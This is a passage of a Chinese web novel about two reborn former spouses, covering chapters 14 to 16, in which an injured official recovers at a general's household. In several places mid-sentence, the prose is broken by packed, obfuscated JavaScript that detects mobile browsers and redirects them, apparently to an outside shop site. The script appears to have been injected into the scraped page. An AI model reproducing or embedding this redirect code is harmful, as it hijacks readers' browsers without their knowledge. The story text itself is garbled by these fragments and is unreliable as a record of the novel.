叶宁本来对傅朝寻没有什么好感,但是方才看着他不要命地去救叶元倾和温衍,时下对他也有了一些改观,她附和道:“元恒哥哥说的对,你快些跟着我们去将军府,你都吐血了,绝不能耽误。” 傅朝寻没有立刻答应,他去看叶元倾,只见她低头沉默着,也不知道愿不愿意让他去,过了一会,他见她一直不说话,苦涩一笑,道:“算了,我回亲王府。” 他说完,转了身就要走。 “你……”叶元倾急忙喊他,“你受伤严重,先跟我们去将军府,别再硬撑。” 此时秋风略盛,吹得人面颊微微冰凉,诸多复杂情绪糅杂在一起,伴随着担忧的心情,使叶元倾紧张到面颊一片温红。 傅朝寻又转回身看她,看着她那双复杂的眼睛,强烈的熟悉感仿若回到了从前。以前他时常受伤回府,总是一个人坐在灯下处理伤口,她每次都会对他说:“我去给你找大夫,你别硬撑”。 他每次都会回她:“别去,这事不宜声张,我自己能处理。” 而后她就一直站在他跟前看着他,默默地看着他把伤口处理完,期间也不知道在想些什么。 他动了动唇,放轻了点语气道:“好,我跟你回去。” 叶元恒亲自扶着他上了马车,叶元倾和叶宁也正准备上去,结果叶卓和温衍近乎异口同声地说:“妹妹坐我的马。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133909|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >叶宁扯了扯叶元倾的衣袖:“姐姐,你去坐温衍的马,我坐二哥的。” 她说着,把叶元倾扯到了温衍跟前。 温衍牵起叶元倾的手:“妹妹,我抱你上去。” 叶卓见状连连咳嗽,喊叶元恒:“元恒哥,元倾妹妹方才受了惊吓,你快些把她扶上你的马,我们尽快回去,别再让她受惊了。” 温衍瞥了他一眼,一张俊秀的脸难得露出厌恶的表情,心中骂道:多管闲事的狗东西。 “好。”叶元恒扶着叶元倾上了自己的马。 叶卓瞧着温衍难得一见的神色,低低一笑,心里爽快极了。 一行人到了将军府,叶展桡看着受伤的傅朝寻愣了一瞬,忙问:“这是姜齐打的?小兔崽子下手这么重?” 叶宁解释道:“二叔,不是姜齐打的,是被马撞的。” “被马撞的?” 叶宁把方才在街上发生的事情复述了一遍,还多次强调傅朝寻是为了救叶元倾和温衍才受的伤。 叶展桡听后吸了一口气,十分感激地扶着傅朝寻到客房休息,然后又把家中医师叫了过来。 医师在战场上见惯了这种伤情,淡定地为傅朝寻处理了一番后,嘱咐道:“虽然没有伤到要害,但是强烈的撞击损伤了一些部位,这段时间一定要卧床休养,我给大人开些药,按时服下,过五六日胸口就不会那么疼了。” 他又补了一句:“幸亏大人身体强壮,否则后果不堪设想。” 医师开好药方准备交给叶展桡查看,孰料叶元倾先行一步接了过来。 她迅速地扫了一眼,脱口道:“白芷散不可用,他对此药物过敏,乳香的量也可以减少一些。” 前世里,傅朝寻对这类药物极其敏感,只要一接触到白芷散就会呼吸困难,就连乳香的用量也需谨慎。 她话一出口房间里顿时鸦雀无声。 众人震惊地去看她,叶宁惊讶地问道:“姐姐,你怎么知道傅三公子对白芷散过敏?” 叶元倾微微一愣,忽然意识到自己说漏嘴了。 “是啊!倾儿你怎么会知道?”叶展桡也疑惑地问她。 “我……”叶元倾张了张口,紧张地躲避众人目光,一时间不知如何回答。 她怎么那么笨呢?这下可好了。 傅朝寻望着她慌乱的样子,既激动又心疼。 她……竟然还记得这些,以前他总以为她不是很在意他。 如今他终是确定她就是他的妻子叶元倾了。 只是,她是怎么去世的呢?也和他一样是被人陷害的吗? 死时,有没有受伤?有没有很痛? 14. 第 14 章 前世,傅朝寻活了三十年,三十年里他有二十年都在为同一个目标奋斗,那就是凭借身上那点皇家血脉去挣一个权倾天下的位置。 他不是皇子,也不是嫡长子,但是他却握着为数不多的希望拼了命的往那条满是荆棘的道路上挤。 为了得到父亲的喜爱,为了能让父亲分给他一些权利,哪怕一边呕吐着做那些违心的事情,也要一边阿谀奉承地任由父亲驱使。 记得从五岁起,在他明白了什么叫“克母”,什么叫“扫把星”之后,他就暗暗发誓,这一生无论如何也要从那越陷越深的泥潭中走到光明大道上来。 前世里他一直都知道父亲是一个什么样的人,也知道自己在父亲面前扮演什么样的角色,更知道世人的唾骂会给他带来什么,当自认为已经跌到深渊的时候,为了那一点光亮,其实是不在意周围的目光和声音的。 他和大哥同为一母所生,大哥一直都是父亲托举在阳光下的希望,而他则成了那个垫背的人。 自幼,吃穿用度他是最差的,挨打挨骂他是最多的,被冷眼嘲讽也是理所当然的,甚至每年除夕之夜一家人围坐在一起吃年夜饭的时候,他都是多余的。 十几个除夕之夜,无一例外,他都只能站在飘着大雪的门外,默默地听着屋里觥筹交错,谈笑风生。 明明,他是嫡妻所生,却不如一个庶子深受爱戴。 其实他知道,七岁那年,是父亲买通了那个上山砍柴的男人把他带回家中,只是为了让他到山里历练一番。 没有人知晓那两三年的生活有多么悲惨,也没有人知晓阿婆只是叫他一声“寻儿”就能让他激动半天。 直到后来,他娶了叶元倾,才知道一个家是什么样子,才知道他也可以有一个家,虽然他们的家冷清的不成样子,但那也是一个可以为他遮风挡雨的家。 那时,他不知道什么是给与,更不知如何去体贴自己的妻子,只知道能够安然无恙的活着,只要争取到权利,就能给她和自己最好的东西。 他没有母亲,没有人教给他怎么做。 死过一次之后他恍然明白,好像并不是如此,他狭隘的人生里根本不知道外面的世界是什么样子。 他娶了她,不仅没有给她更广阔的天地,却还把她拉到狭隘的空间里和他过着同样糟糕的生活,直到最后,还要死在别人手中。 前世遇害前他试想过很多个结局,也部署了很多个让她脱离危险的妙计,可最后她还是没能幸免地出现在了他的眼前。 时下看着她,心情很复杂,很复杂。 他垂眸平复了一下心绪,再抬起头来,开口喉中尽是苦涩,他对医师道:“医师,我确实对白芷散过敏,可以不用。” 以前也没有用过,一样能挺得过来。 他话一出口周围的人就投来了不可思议的目光。 医师走上前问他:“若是不用白芷散止疼的话,那大人能忍受的了吗?” 怎么会忍受不了?比起前世受的伤,这根本不算什么。 他苦涩笑了笑,目光落在叶元倾的侧脸上,回道:“无碍,能忍受的了。” “那好。”医师看向叶元倾,“小姐,把药方给我,我去修改。” 叶元倾把药方递到医师手中,自顾自地解释道:“方才进门的时候,有个衙役告诉我,说傅大人对白芷散过敏,让我提醒着点,所以……” 所以她还是不擅长撒谎,解释的如此苍白。 叶元恒一路带着叶元倾回来,并未看到她与哪位衙役有过接触,他知道妹妹是在撒谎,他不想看着她为难,接了她的话道:“没错,刚才我也听到了,傅大人确实对白芷散过敏,傅大人暂且忍受一会,待会儿我去太医院给你找点代替的药。” 傅朝寻颔首道谢:“多谢叶公子。” 为了缓和气氛,叶元恒轻笑着说:“傅大人不必客气,今日你为了救妹妹和温衍才受的伤,我们自是感激不尽,这都是我们应该做的。” 以前叶元恒不喜欢傅朝寻,但是自他救了叶元倾以后,现在看他顺眼多了,忽略他冷漠的性格,他的身形和样貌确实挺出众的,时下屋里这几个人没有一个能比的。 他要是性情和人品都好一些该有多好啊!说不定还能做他的妹夫呢! 叶展桡还有要事处理,不便在府中逗留,他走到傅朝寻跟前,关切道:“医师去煎药了,一会就好,公子且在这里好好休息,我让元恒留下来照顾你,你有什么需要尽管对他说,我还有事要忙,就不陪公子了。” 叶展桡武将出身,最看不得人受伤,上阵杀敌时见的太多了,对谁都心生疼惜。 傅朝寻颔首行礼道:“多谢伯父,伯父您先去忙。” 叶展桡应了一声便出去了,走时交代屋里几人好生照顾傅朝寻,还差人到街上调查马儿突然发癫的原因。 他走后,房间里变得格外安静。 站在桌边的叶宁突然想起了姜齐,她惊道:“对了,姜齐好像趁乱溜走了,咱们只顾着傅大人,竟然把他忘记了。” 姜齐胆儿实在肥,不仅忤逆查案官员,还敢趁乱溜走。 叶卓走到桌前倒了一杯茶递给她,回道:“妹妹别担心,进将军府之前我就让人去寻他了,只不过……” 他说着,去看向傅朝寻,沉了一些嗓音道:“只不过查案之事归傅大人管,没有傅大人的命令没有人敢对姜齐如何。只是傅大人抓人抓的不是时候,早一点晚一点都可以把他带走,偏偏在他来将军府提亲的时候……” 叶卓说到最后一句加重了语气。 傅朝寻听出了他话里的意思,清声回道:“叶卓公子说的是,只是命案要紧,查案不分时候。” 站在傅朝寻的立场上确实如此,叶卓无以辩驳,给自己倒了杯茶,轻抿着未再说话。 温衍从方才开始就在观察叶元倾,他头一次觉得如此慌乱,从傅朝寻拼死救他们开始,再到叶元倾方才说起药方之事,他们二人的言行举止,眼神交流,不免让他起疑。 他了解叶元倾,叶元倾的一举一动,一言一行他都能看的明白,这么多年以来,好像除了他以外,她还从未这样关心过别的男人。 他心里酸酸的,心情也开始低落起来,他走近她,牵起她的手,温声好言道:“方才吓到妹妹了,你脸色不太好,哥哥带你去休息。” 他说完,也不等她回答,揽住她就向门外走。 傅朝寻见状冷声叫他:“温公子留步。” 温衍立即停住。 叶元倾转过身,只见傅朝寻正紧紧盯着温衍握她的那只手,十分严肃地说:“温公子,听说你最近因操办私塾之事与大学士长子的先生来往密切,经过调查发现,那先生与东街命案有一些牵连,不知温公子是否也与此事有关?” 也与此事有关? 他这是查到他温衍的头上来了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133910|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温衍蹙眉望他,眸光瞬间暗沉下来,叶元倾急忙往外抽手,他却紧抓着不放开。 一时间,周围气氛冷如冰窟。 叶元恒见势不妙,急忙笑道:“傅公子先别说这些,伤情要紧,我们先好好养伤。温衍最近确实在办私塾,难免要与一些博学广才的先生打交道,这代表不了什么。傅公子虽然办案要紧,但也要公事公办,时下在将军府莫要谈起这些。” 无论傅朝寻出于公事也好,私心也罢,眼下万万不能再生出事端,尤其在将军府里。 傅朝寻闻言没再追问,应道:“好,在将军府不谈公务。” 温衍脸色甚是难看,平时为人和善的他时下竟无从面对。 叶卓好似看懂了点什么,只在心中冷笑,他抓起叶元倾的胳膊,把她扯到叶宁跟前,说:“妹妹先带元倾去休息。” “好!”叶宁连忙点头,拉着叶元倾出了房间。 二人出门以后,叶宁观察了一下叶元倾的神色,小声问道:“姐姐,你和他……真的认识吗?” 方才那一举动,是个明眼人都能看出了,他们二人肯定认识。 这个时候叶元倾也不好再隐瞒叶宁,她点头道:“不算很认识,春日宴在亲王府见过,那日他跟着兄长去太师府的时候我们在回廊里说过话。” 叶宁觉得没有这么简单,但是瞧着她的脸色不太好,也没敢再问。 两位姑娘走了以后,三个大男人各怀心事地站着,傅朝寻则斜倚在床头默不作声。 气氛实在尴尬,叶元恒挠了挠后颈,对叶卓道:“卓弟,太师府繁忙,你先回去,这里我来照应。” 先赶走一个是一个。 叶卓应了一声,对温衍道:“你跟我回太师府。” 温衍瞥了一眼傅朝寻,蹙眉道:“我跟你走,把他留在这里?” “我哪里也不去。”他冷哼一声向门外走去,嘴里嘀咕着:“今晚我就住在将军府,我现在就去找我的元倾妹妹。” “温衍你先……”叶元恒急忙叫他,话还没说完他就走的没影了。 叶元恒叹了口气,对叶卓笑道:“温衍还小,卓弟别跟他一般见识。” 叶卓冷笑:“是小了点,细皮嫩肉的跟个姑娘似的。” 叶元恒:“……” 叶元恒把叶卓送走后回到床前,看着还在冷汗直流的傅朝寻,担心问道:“是不是很疼?你平时受伤,不用白芷散止疼,都用什么?” 傅朝寻坐直了身子,回道:“平时受伤什么也不用。” 叶元倾惊道:“什么也不用,岂不是很疼。” 傅朝寻回道:“还好,习惯了。” 习惯了…… 叶元恒吸了口气,又看向他的胸口,只见他胸前一大片紫红,肿的有点厉害,忙道:“你且忍一会,医师配了药一会就过来,我现在去一趟太医院,我先找俩小厮照顾你。” 傅朝寻颔首道谢:“多谢大哥。” 大……哥??? 叶元恒自当他叫错了,尴尬一笑,起身走开了。 不一会,温容过来看望傅朝寻,她一进门就见他趴在床边吐着血。 她快步走上前关切道:“傅公子,怎么伤的这么严重?” 傅朝寻胸口疼的厉害,有点神志不清,他看到温容过来,一时没分清这是前世还是今生,他动了动身,喊了一声:“岳母!” 岳母??? 15. 第 15 章 傅朝寻一声“岳母”叫得温容愣在了原地,一双要扶他的手也僵在了半空,说来她一直都非常注重健康,眼睛和耳朵也从未出现过毛病,时下冷不丁被人叫了一声“岳母”,让她开始怀疑自己的耳朵是不是出现了问题。 怎么会有人张口就叫别人岳母呢,听着怪不好意思的。 傅朝寻见她尴尬地愣住,这才意识到自己叫错了,立即改口道:“多谢夫人关心。” 前世里一直叫岳母,时下改成夫人他也挺别扭。 温容虽然觉得怪怪的,但是眼里不知不觉露出了笑意,她扶住傅朝寻道:“傅公子不必多礼,快快躺好。可是用过药了?” 一旁的小厮回道:“夫人,医师已经去煎药了,应该快好了。” 温容应了一声去审视傅朝寻,见他脸上沾了不少血,又叫丫鬟打了温水过来,亲手湿了毛巾递给他,缓声说:“傅公子是为了救倾儿和衍儿才受的伤,真的十分感激,你且住在这里好好养伤,回头我让人把张太医叫来,张太医和我们家医师是师徒,医术非常精湛,由他帮你医治,会好的快一些。” 她说罢,又吩咐小厮:“你去元恒房里取一身衣服给傅公子换上,再帮他搭理搭理头发,医师熬完药过来就别让他走了,让他在这里守着傅公子。我现在就让厨子去准备一点稀粥,一会让人送过来。” 温容为人和善,做事面面俱到,说起话来也很亲切,傅朝寻看着她,回想起前世里,叶元倾嫁给他不久后,她曾亲自找过他一回。 那时候她冒着大雪前来,等到傍晚才把他等来。 他弯身给她行礼,疑惑地问:“不知岳母找我何事?” 她拉着他坐下,看着他,红了眼睛,很认真地问他:“朝寻,你告诉岳母,你在外头是不是有了别的姑娘,若是有了,你说出来,我们商量一个解决的办法。当初元倾嫁给你,是带着恩情的,你们才成婚一年多,我就再也看不到我活泼开朗的女儿了。若是你想和离,你告诉岳母,岳母把她带回家,我和她父亲会养她一辈子。” 他不知她为何突然过来问这些,他在外面从来不风花雪月,更不可能有别的女人,他只是遇到了很大的麻烦。 那时候,父亲让他去杀一个人,他得令后就去把那人给杀了,但是杀完之后他才发现,被他杀的人竟是大学士的嫡长子刘钦。 当时大学士正被皇帝重用,他的嫡长子刘钦也刚加入吏部负责一些重要事务,皇上也有意把公主许配给他,可谁曾想,父亲的一声令下他就把他给误杀了。 他得知后跑去质问父亲:“父亲为何不告诉孩儿杀的人是刘钦,孩儿还以为是忤逆您的狂徒,您可知杀了刘钦的后果?” 父亲看着他紧张的样子却笑道:“寻儿怕什么?有父亲在,你无需担心这些。现在大学士如疯狗一样到处抓凶手,你出去躲一阵子,这里交给父亲。” 正因为那次他误杀了刘钦,才导致后面一系列不可控制的事情发生,甚至牵扯到了叶家,最后还搭上了他一条性命。 当时他外出躲避了大半年,可能离开太久,让岳母误以为他在外面有了其他女人。 他极其认真地告诉她:“岳母莫要担心,朝寻此生只娶元倾一人,绝对不会再有其他女人。元倾她……她跟着我受苦了。” 他不知道岳母有没有相信他的话,她只是应了一声什么也没再问,还亲自下厨给他做了一顿饭。 她见他吃的开心,笑着说:“朝寻,你一出生就没了娘,庶母又对你冷淡,我知道你在亲王府受过不少委屈,虽然你性子冷了些,但本性是不坏的。以后,我会好生待你,就像待我的两个儿子一样,我不指望别的,我只希望你能和元倾好好过日子,千万不要负了她。” 那顿饭他吃的很难受,可以说是他二十几年来吃过最好吃且又最难以下咽的饭,直到现在他都忘不了那种滋味。 眼下再次见到她,曾经的一切好似历历在目。 或许是因为死过一次吧!他的心和以前有点不一样了,就像吸了水的海绵,变得软软的。 回忆当初,心中苦涩,他垂下眼来,轻声说:“多谢夫人厚爱。” 在她身上,他好像体会到了母爱的滋味。 温容觉得他并不像旁人说的那么冷漠,看着他受这么重的伤,她也很是心疼。 她起身道:“你先休息,我去找元倾,让她来看看你,今日你救了她,她自是要好好感谢你的。” 他连忙点头:“好,我等着她。” 温容和傅朝寻道别后出了客房,然后叫来了管家,交代他:“你快去多找些人打点一下,先压住今日街头打架的消息,然后去把元萧找来,让他借找姜叙之由打听打听姜齐的情况,想办法安抚住姜齐,千万别让他给将军府带来麻烦。傅朝寻受伤的消息尽量别传到亲王府里去,最近他调查悦令堂,傅亲王盯的紧,万不能让他钻了空子。” 管家得令后速速去办。 温容先去厨房交代了一番,然后去西厢房叫叶元倾。 此时叶卓和叶宁已经回了太师府,西厢房里只剩下叶元倾和温衍。 温容远远地看到他们二人坐在凉亭里,她顿住脚步没再上前,交代西厢房的嬷嬷过会儿让叶元倾去看看傅朝寻,然后就离开了。 深秋的风很凉,空中有乌云飘过,好似有大雨要来。 温衍想牵叶元倾的手帮她暖暖,但是还没有碰到她就把手缩进了袖子里。 他审视着她的神色,小心翼翼地问:“妹妹为何不开心?可是生哥哥的气了?” 叶元倾心事重重,摇头道:“我没有生表哥的气,只是被马吓到了。” “妹妹!”温衍凑近她,一双好看的眼睛深深地望着她,低喃道:“见妹妹不开心,哥哥心里也很难过,今日是哥哥不好,没有保护好妹妹,妹妹看看哥哥好不好?” 温衍了解叶元倾,他知道她生气了,只是他不确定她是生谁的气。 他很害怕,他从小就害怕她生气,害怕她不理他。 他见她不做声, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14133911|150000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心急的站起身来,来回走了几步,说道:“妹妹,你罚我吧!打我也好,骂我也好,我只求你别不理我。你告诉哥哥,我今天又做错了什么。” 她这样默不作声,真的让他恐慌,让他抓狂,他只想他的元倾妹妹一直开开心心,也只想他的元倾妹妹心里眼里都只有他,时下她突然这样,他很焦躁,也很不安。 叶元倾抬头看他,见他急的额头上冒了汗,微微拢了下秀眉,道:“表哥你别这样,我真的没有生你的气。” “那是为何?”温衍一把抓住她的手,满眼忧伤地问:“妹妹心里有了别人?” 叶元倾明白他在担心什么,温衍是一个极其敏感的人,她今日脱口说出傅朝寻对白芷散过敏,他定是起了疑心。 温衍什么都好,就是在这方面太敏感了。 叶元倾一直都知道他喜欢自己,他曾对她说过不止一次他爱她,前几年他们还偷偷地许下了相守一生的诺言,他说等他送满一百颗白玉珠子她就长大了,长大后他就可以过来娶她了。 但是这些也只介于在她重生之前,在她遇到傅朝寻之前。 前世他们没有在一起。 这一世…… 温衍见她不说话,眼睛慢慢红了,蹲下来,一副楚楚可怜的模样看着她,温声说:“妹妹,你知道哥哥的心思,你知道我爱你,求求你别不要我,我们说好的,明年春天就成婚的。” 前世的时候,他们也是打算明年春天就成婚,可是后来他进了翰林院,皇家有给他指婚的打算,她和他的婚事就搁置了,一拖就拖了一年多,后来皇家不仅没有给他指婚,她还嫁给了傅朝寻。 前世,他们的姻缘就那样错过了。 温衍爱她,爱到痴狂,爱到疯了。 明明一个娇贵公子,却被爱情左右了心智变得没了人样。 那都是前世的事情了,这一世,她若不考虑太多,她还是能拉他一把的,只是那样需要赌上她的一生。 若不是经历过前世的事情,她可能会毫不犹豫地嫁给他,哪怕等他一年两年都可以。 只是,她好像没有选择的权利了,爱情,婚姻,已经不是她在意的事了。 她在意的是这一世如何保住叶家人的性命,别再让悲剧发生。 “表哥!”她温声安抚他,“你别紧张,我真的没有生你的气,你这样让我很无措。我现在有些饿了,我们去吃饭好不好?” 温衍见她神情缓和了许多,这才松了口气,他起身擦了擦额头上的汗水,轻声说:“好,我陪妹妹去吃东西。” 他伸手要牵她,她却抬手去拢自己的头发,假装无意地避开了。 他心里还是很不安,他已经察觉到他的元倾妹妹有些不一样了,她的眼睛里好像藏着一个人。 乌云从头顶飘过,灰蒙蒙的天空,压的人心情乱糟糟的。 二人默默无言地去了前院,刚一进去就遇到了二公子叶元萧。 “二哥哥!”叶元倾看到他,开心地喊了一声。 16. 第 16 章 叶元萧是将军府的二公子,是年二十一岁,他为人和善,性情洒脱,具有几分桀骜不驯的气质,身形样貌随他的父亲,比叶元恒多些硬朗。他善用长枪,在战场上枪法如神,曾被人称作战场上的“小火枪”。 他在京期间,因有职务在身,平时很少闲在家中,碰巧今日提前办完手中事务才得以赶来。 叶元倾满心欢喜地跑上前问:“二哥哥今日怎么回来这么早?” 叶元萧基本上五更起深夜归,叶元倾和他相处的机会并不多,但是她非常喜欢二哥哥,因为她是在二哥哥背上长大的,父亲不在家的那几年,是二哥哥给足了她安全感。 “妹妹!”叶元萧宠溺地叫了一声,上前揉了揉她的脑袋,回道:“娘亲差人把我叫来的,说是出了点事,让我去一趟太傅府。” 叶元萧来的路上已经听管家说了事情的来龙去脉,他对打架的两位公子并不陌生,尤其是姜齐,他和姜齐的叔父姜叙师出同门,二人经常一起喝酒练剑,今日突然出了这等事,又在姜齐来将军府提亲的路上,他是得去太傅府走一趟。 叶元倾明白娘亲的用意,她道:“是遇到了点麻烦,二哥哥待会去太傅府,说话严谨点,看看姜齐的态度。” 叶元萧应了一声,看了看神色不太好的温衍,拍了拍他的肩膀笑道:“温衍弟弟何时来的?可要在府上住上几日?我听说你在操办私塾。” 温衍颔首回道:“我昨日到的将军府,来了也未见到二哥哥,私塾的事情已经接近尾声了,时下并不太忙,许久未见哥哥和妹妹,也是想念的很。” 叶元萧很喜欢温衍,温衍在将军府留宿的那几年和他走得很是亲近,也比较听他的话,他知晓温衍喜欢叶元倾,不过他不擅长儿女私情,对温衍有没有可能成为他妹夫并不在意,但是温衍每次来,他都非常热情,他笑说:“正巧我这几日不太忙,可以留在家中陪陪温衍弟弟。” 他说罢,伸臂搂住他的肩膀,又笑说:“既然温衍弟弟要留在将军府里,现在不妨陪我去一趟太傅府,我怕我一个人应付不来。” 方才听了娘亲交代的话,叶元萧心里有点打鼓,因为此事牵扯到了京城赫赫有名的冷血公子傅朝寻。 叶元萧时长在外办事,听说过傅朝寻不少事迹,也曾因为一些事务与他接触过,他对傅朝寻的印象和外界传的不一样,他认为傅朝寻身上有一种旁人没有的魄力,这种魄力会让他散发个人魅力,虽然需要深入探索才能挖掘,但也挺让人喜欢的。 温衍听闻此话蓦地一愣,转头去看叶元倾。 叶元倾也在担心二哥哥一个人应付不了,她对温衍道:“表哥跟着二哥哥去一趟吧!事情的全过程你都知晓,虽然姜齐受伤之事与我们无关,但他毕竟是来将军府提亲才出事的,他受了伤,太傅大人又最疼爱他,千万别让他们对将军府起了误会。” 这事说大不大,说小不小,再加上傅朝寻是为了他们受伤,只怕后面事情变得复杂。 温衍不太情愿,他想留在家中守着叶元倾,但她这般说,他又不好推脱,只好道:“好!我现在就和二哥哥走一趟。” 温衍和叶元萧离开将军府以后叶元倾就去了前堂找娘亲,此时娘亲不在前堂里,丫鬟说在厨房里给傅朝寻准备饭菜。 叶元倾去了厨房,碰巧娘亲正端着饭菜出来,娘亲看到她,忙笑道:“倾儿你来的正好,快些把这些端给傅公子,方才我见他受伤严重,双手冰凉,就给他煮了点粥,让他喝点热乎的暖暖身子。” 叶元倾看了一眼热腾腾的饭菜,轻声说:“娘,让夏枝送过去吧!” 一旁的夏枝闻言走上前就要接走餐盘,温容却道:“让夏枝端过去什么样子,傅公子是为了救你才受的伤,他又是朝廷派来查案的,时下留在将军府,我们无论如何都不能怠慢了他。” 温容听说过傅朝寻是个什么样的人,也知晓他自幼就丧了母亲,今日见他受了伤,她却莫名地怜悯他,总觉得他身上透着一股凄凉。 叶元倾琢磨了一会,觉得娘亲说的有道理,只是,她要如何面对他呢? 她犹犹豫豫地傻愣着,娘亲把餐盘递到她手里,笑说:“快去吧!他虽不善言谈,但对女子应是非常客气的,无论他人如何,只要他有恩于你,你就得心存感激。” 娘亲自幼就教给他们要懂得知恩图报,不能片面地去看待一个人,更不能轻易评判别人的人格。 可能正是娘亲的这番教导,在前世里,即便她听说过傅朝寻的诸多不好,也能为了报答他毫不犹豫地嫁给他。 如今他又出手相救,她怎能因为那点别扭的心思寒了一个好心人的心呢? 她是得郑重地感谢他一番。 她握紧了手中餐盘,对娘亲道:“好的娘,我现在就过去。” 今日的秋风比以往都狂,吹得屋檐上的灯笼剧烈摇晃。 叶元倾走到客房门前站了一会,随着凌乱的思绪,推门进了房间。 房间里飘着一股汤药味,医师已经煎好药让傅朝寻喝下,时下正在为他受伤的胸口涂药。 叶元倾站在门旁没有上前,医师看到她叫了一声“小姐”,然后捏起傅朝寻的衣衫盖了一下他的胸口。 傅朝寻看到叶元倾,擦了一下额头上的汗水,坐直了身子。 医师把药收起,起身道:“药已经上好了,我就在门外侯着,傅公子有什么需要直接叫我。” 傅朝寻颔首道:“好,多谢医师。” 医师提着药箱出了房间,帮他们关上了房门。 叶元倾走到桌前,把饭菜放下,看了一眼床单上的血迹,轻声问:“方才又吐血了吗?” 她语音很轻,简短的几个字里透着关怀。 傅朝寻以为嘴唇上还有血渍,伸手擦了擦,回道:“是吐了一点,不多。” 叶元倾摸了一下盛粥的碗,说:“我娘亲让厨子给你熬了一点粥,时下还有些热,过会儿让夏……” 她顿了一下,看了看他,见他脸色苍白,嘴唇干裂,便又道:“过会儿凉一些再喝,我给你倒杯茶。” 她倒了杯清茶走到床前,把茶杯递到他面前,他伸手接过,喝了几口又递给了她。 叶元倾转身去放茶杯,傅朝寻却在身后问她:“元倾,你是不是遇到了麻烦?” 这几日,他思考了很多,一直想不明白她不与他相认的原因,他反复回忆他们在一起的种种,又分析着这一世相见的场景,他还是不明白她为何要这样躲着他。 他知道他前世亏待了她,但是在他死在她怀里的时候,他明明从她的眼睛里看到了浓浓的爱意和不舍。 以前,他知道她一直爱着别人,他也没有期望她有多喜欢他,可是就在他去世的时候,他才确定了他们之间是有感情的。 不说感情有多浓烈,但是在一起了七年,总是有一些的。 叶元倾停住脚步,揉搓着手中的杯盏,许久都未回上话来,这个时候再去否认自己不是重生而来就有些太自欺欺人了。 她感觉口中酸涩,走到桌前把茶杯放下,没有去看他,只是回道:“我没有遇到麻烦,多谢傅大人关心,大人受伤严重,望早日康复。粥凉了,我叫小厮过来喂你喝。” 她说着就往门外走,走了几步又停下,转过身,弯身给他行了一个大礼,道:“今日多谢傅大人相救,小女子感激不尽,若日后有机会定当好生相报。” 傅大人?这个称呼那么的陌生又显得疏离。 他蹙眉望着她,眼睛里闪过须臾愁怨,低声道:“元倾,老天让我们再次相遇定有一番道理,前世你是如何去世的?你告诉我,我替你报仇。” 报仇?叶家几十口人惨遭杀害,怎么能那么轻易报仇呢,就算是报仇,她也不希望是他来替她报仇。 他那糟糕的人生已经过得很不容易了,今世只愿他不再执迷不悟,只愿他过得轻松一些。 “傅大人。”她的语音有轻微颤动,“有劳您操心了,我的事与傅大人无……” “元倾。”她话还未说完就被他打断了,他望着她,向她伸出一只手,轻声说:“你过来。” 无论是前世还是今生,他好像只有在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他拿着手帕轻擦了一下额头上的汗水,攥在手里没有还给她,低声说:“东街的案子前世是大学士的二儿子查的,查了好几年也没有查出凶手是谁,这次我接手过来是想从中找到一个人,这个人名叫余瑶,是东街几百口命案中最关键的一个人物。她曾与太子频繁接触过,前世我被太子设计堵到城门时,就是她用带毒的匕首刺伤了我,才让我失去了作战能力。当时我躺在地上,迷迷糊糊听他们提到了另外一个人,而另外一个人才是设计陷害我们的真正凶手,那人是谁他们没有说明,但我总觉得就在我们身边。元倾……” 他看着她,看着她垂着眼眸开始轻颤的长睫,沉声说:“我们不能死的那么不明不白,所有陷害我们的人我都要找出来,哪怕再死一次,我也要让他们付出相应的代价。” 再死一次。 她听到这句话,原本有了些许动容的心瞬间跌落到了万丈深渊,感觉这一世也看不到希望了。 他好像根本就没有考虑过要如何换一种方式解决,要如何换一种方式生活,前世她提醒过他,也满心期待地告诉他她想要什么样的生活,可是,他好像在权利的道路上迷路了,再也走不出来了。 他从来没有听进去过她说的话,这一世,估计也一样吧! 她抬起头来,再看向他,眼睛里尽是失落,轻声道:“傅大人,你说的什么我没有明白,你查的案子与我无关,无需说给我听。” 她站起身:“你好好休息,我先走了。” 傅大人?她又叫他傅大人。 她转身快步向门外走去,他在身后叫她:“元倾,你真的不打算与我相认吗?” 他都把话说的那么直白了,她都表现的那么明显了,为何还要这样躲避呢? 他见她依旧往门外走,强忍着胸口的疼痛,又问她:“元倾,你心里还是只有他是吗?所以……” 所以,才不打算相认。 